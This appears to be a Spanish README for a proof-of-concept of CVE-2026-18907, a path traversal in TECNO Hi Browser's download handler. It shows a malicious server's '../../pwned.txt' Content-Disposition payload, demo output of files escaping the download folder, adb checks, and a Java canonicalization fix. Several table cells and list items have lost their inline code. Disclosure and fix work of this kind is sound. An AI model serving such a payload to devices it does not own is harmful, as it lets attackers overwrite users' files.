
PoC en Python para el path traversal CVE-2026-18907 en el controlador de descargas de TECNO Hi Browser. Incluye un servidor HTTP malicioso y un descargador ingenuo para demostrar la corrección.
Prueba de concepto para CVE-2026-18907 (CVSS 7.5 High, CWE-23), una
vulnerabilidad de path traversal relativo en la funcionalidad de descarga de
archivos de TECNO Hi Browser (com.talpa.hibrowser) versión 2.23.1.1.
El navegador confiaba en un nombre de archivo Content-Disposition controlado
por el atacante y lo unía al directorio de descargas sin sanitizar los
separadores de ruta ni comprobar la canonicalización de la ruta resultante — por
lo que las secuencias ../ en el nombre de archivo permitían que el cuerpo de
la respuesta se escribiera fuera de Download/ en cualquier ruta que los
permisos de almacenamiento del navegador permitieran.
Este PoC no incluye el APK propietario
com.talpa.hibrowser. Demuestra (a) la entrega HTTP maliciosa exacta y (b) la clase de causa raíz del fallo (un descargador que confía en un nombre de archivo de la respuesta como componente de ruta). La misma primitiva es la que describe CVE-2026-18907.
| Archivo | Propósito |
|---|---|
evil_server.py | El servidor HTTP malicioso. Sirve una respuesta cuyo nombre de archivo contiene . Esta es la . |
# terminal 1 — start the delivery server
$ python3 evil_server.py
================================================================
CVE-2026-18907 path-traversal delivery server
================================================================
listening : http://0.0.0.0:8000/
traversal file: '../../pwned.txt'
payload bytes : 43
----------------------------------------------------------------
Point a vulnerable browser/downloader at the URL above.
On a VULNERABLE client the file escapes the download dir.
================================================================
# terminal 2 — run the naive downloader against it
$ python3 naive_downloader.py --url http://127.0.0.1:8000/
================================================================
CVE-2026-18907 naive downloader
================================================================
download dir : /tmp/demo/Download
Content-Disposition: attachment; filename="../../pwned.txt"
parsed name : '../../pwned.txt'
----------------------------------------------------------------
[VULNERABLE] wrote 43 bytes -> /tmp/demo/Download/../../pwned.txt
resolved -> /tmp/pwned.txt
escaped download dir: True
[FIXED] wrote 43 bytes -> /tmp/demo/Download/pwned.txt
../ discarded by basename(); contained OK
================================================================
La unión vulnerable produjo /tmp/demo/Download/../../pwned.txt, el sistema
operativo resolvió el .., y el archivo se materializó en /tmp/pwned.txt
— fuera del directorio de descargas. La ruta corregida usó primero
os.path.basename() (el ../ es información de ruta y se descarta, quedando
pwned.txt) y después verificó que la ruta canónica permaneciera dentro del
directorio de descargas.
Inicia evil_server.py en un host al que el dispositivo de prueba pueda
acceder y, a continuación, navega con un navegador vulnerable a
http://<host>:8000/. En un navegador que inicia automáticamente las descargas
attachment y no sanitiza el nombre de archivo, el archivo se escribe en una
ruta resuelta por la cadena ../. Verifica que la contención falló con adb:
$ adb shell ls -la /sdcard/Download/ # nothing — name never landed here
$ adb shell find /sdcard -name pwned.txt
/sdcard/pwned.txt # escaped the download directory
Ajusta la profundidad de ascenso al dispositivo con --depth (el valor
predeterminado 2 limpia /sdcard/Download/ hasta /sdcard/; auméntalo para
subir más), y el basename de destino con --target.
Para cualquier gestor de descargas, toda la clase CWE-23 se reduce a dos hábitos aplicados juntos:
/ inclusive.File base = downloadDir.getCanonicalFile();
File out = new File(base, safeName).getCanonicalFile();
if (!out.toPath().startsWith(base.toPath())) {
throw new SecurityException("refusing to write outside download dir: " + out);
}
No pongas ../ en una lista negra — el conjunto de codificaciones equivalentes
al traversal es abierto. Canonicaliza y luego compara. Ese algoritmo es cerrado.
Ejecuta el servidor solo en una red que controles y prueba únicamente contra un dispositivo que te pertenezca. Una escritura por path traversal es, por definición, una primitiva de escritura de archivos — no la apuntes a nada que no estés dispuesto a sobrescribir.
MIT — consulta el artículo adjunto para la atribución completa y las fuentes primarias.
Content-Disposition../naive_downloader.py | Un descargador mínimo que reproduce el patrón vulnerable join(dir, filename), junto con la versión corregida (basename + contención canónica), para que puedas ver la fuga en una sola ejecución. |